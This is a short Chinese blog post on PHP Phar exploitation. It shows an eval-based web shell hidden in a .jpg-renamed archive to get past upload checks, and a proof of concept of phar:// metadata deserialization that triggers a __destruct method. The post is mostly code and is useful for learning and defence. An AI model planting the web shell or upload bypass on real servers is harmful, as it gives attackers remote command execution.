美文网首页
Phar的一些利用姿势

Phar的一些利用姿势

作者: 唐小风7 | 来源:发表于2018-12-25 14:36 被阅读0次

Phar绕过上传

test.php

<?php @eval($_POST["cmd"]);?>

压缩后改后缀名为jpg

index.php

<?php 
include('phar://./test.jpg/test.php');
?>

Phar反序列化漏洞

test.php

<?php
    class Test{
        public $test="test";
    }
    @unlink("test.phar");
    $phar = new Phar("test.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Test();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();    //签名自动计算
?>

执行后生成test.phar

test.phar

测试代码

eval.php

<?php
class Test{
    function __destruct(){
        echo "test";
    }
}
file_get_contents("phar://./test.phar/test.txt");
?>
eval.php

相关文章

网友评论

      本文标题:Phar的一些利用姿势

      本文链接:https://www.haomeiwen.com/subject/gooxlqtx.html